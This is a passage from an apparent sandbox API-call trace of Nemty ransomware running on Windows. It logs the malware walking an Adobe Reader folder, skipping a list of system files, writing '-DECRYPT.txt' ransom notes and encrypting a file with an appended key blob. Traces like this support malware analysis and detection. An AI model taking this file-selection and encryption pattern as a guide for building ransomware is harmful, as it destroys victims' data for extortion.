(lpString1="sqlite.dll", lpString2="IO.SYS") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="boot.ini") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="boot.ini") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="AUTOEXEC.BAT") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="ntuser.dat") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="desktop.ini") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="CONFIG.SYS") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="RECYCLER") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="BOOTSECT.BAK") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="bootmgr") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="programdata") returned 1 [0193.329] lstrcmpiW (lpString1="sqlite.dll", lpString2="appdata") returned 1 [0193.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqlite.dll", lpUsedDefaultChar=0x0) returned 10 [0193.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqlite.dll", lpUsedDefaultChar=0x0) returned 10 [0193.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x653ef60, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqlite.dll", lpUsedDefaultChar=0x0) returned 10 [0193.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqlite.dll", cchWideChar=10, lpMultiByteStr=0x653ef98, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqlite.dll", lpUsedDefaultChar=0x0) returned 10 [0193.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.330] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Tracker", cAlternateFileName="")) returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2=".") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="..") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="...") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="windows") returned -1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="$RECYCLE.BIN") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="rsa") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="NTDETECT.COM") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="ntldr") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="MSDOS.SYS") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="IO.SYS") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="boot.ini") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="boot.ini") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="AUTOEXEC.BAT") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="ntuser.dat") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="desktop.ini") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="CONFIG.SYS") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="RECYCLER") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="BOOTSECT.BAK") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="bootmgr") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="programdata") returned 1 [0193.330] lstrcmpiW (lpString1="Tracker", lpString2="appdata") returned 1 [0193.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tracker", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tracker", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tracker", lpUsedDefaultChar=0x0) returned 7 [0193.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tracker", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tracker", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tracker", lpUsedDefaultChar=0x0) returned 7 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0193.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0193.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.333] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.334] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0193.334] CloseHandle (hObject=0x1ec) returned 1 [0193.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.335] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.336] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.336] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0193.337] CloseHandle (hObject=0x1ec) returned 1 [0193.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.337] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26e13510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26e13510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0193.337] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0193.337] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26e13510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26e13510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0193.338] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0193.338] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0193.338] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2=".") returned 1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="..") returned 1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="...") returned 1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="windows") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="rsa") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="NTDETECT.COM") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="ntldr") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="MSDOS.SYS") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="IO.SYS") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="boot.ini") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="boot.ini") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="AUTOEXEC.BAT") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="ntuser.dat") returned -1 [0193.338] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="desktop.ini") returned -1 [0193.339] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="CONFIG.SYS") returned -1 [0193.339] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="RECYCLER") returned -1 [0193.339] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="BOOTSECT.BAK") returned -1 [0193.339] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="bootmgr") returned -1 [0193.339] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="programdata") returned -1 [0193.339] lstrcmpiW (lpString1="add_reviewer.gif", lpString2="appdata") returned -1 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_reviewer.gif", lpUsedDefaultChar=0x0) returned 16 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_reviewer.gif", lpUsedDefaultChar=0x0) returned 16 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_reviewer.gif", lpUsedDefaultChar=0x0) returned 16 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_reviewer.gif", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_reviewer.gif", lpUsedDefaultChar=0x0) returned 16 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0193.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.339] Sleep (dwMilliseconds=0x5) [0193.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26e39670, dwHighDateTime=0x1d561e8)) [0193.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26e39670, dwHighDateTime=0x1d561e8)) [0193.344] GetLastError () returned 0xb7 [0193.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.344] GetLastError () returned 0xb7 [0193.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.345] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.345] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="CICopMOOwcDbdJEE6Fv8sT6bvejSTWu4BC9Fk+FiNUnj2V5tpNmmMwINVcL0pQNX\r\n+XeVMMHSybrmEWEbL/cv5wYo2cWvZeCr70VqWHIvjxrKSpA18zuZ8stZ46pOklVf\r\n/Qm9w9OIsREJVNfLrpTiD8MwoOOikwHJ6C/zN+YJ3veH35hvYO4Yt3VicbmlvIFY\r\nzr7BSXxNzl8ygKMeSChBDBKSGmW5oJ1oM3arwuNfk/J88x2VBit0GMyu6QvUn7u/\r\nCHpEyDLD6APV2DfqmWcZJV8jHR94g1VLr4WzM7kqEQeR17PTNIB2jSRAZjj3LMJD\r\nOW1KDn8ZPmLY0BR25ii4KQ==\r\n", pcchString=0x653e91c) returned 1 [0193.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.346] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1338) returned 1 [0193.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x530) returned 0x6343fe8 [0193.346] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.346] ReadFile (in: hFile=0x254, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653eb64*=0x530, lpOverlapped=0x0) returned 1 [0193.348] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.348] WriteFile (in: hFile=0x254, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653eb5c*=0x530, lpOverlapped=0x0) returned 1 [0193.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0193.348] SetFilePointer (in: hFile=0x254, lDistanceToMove=1338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53a [0193.348] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, 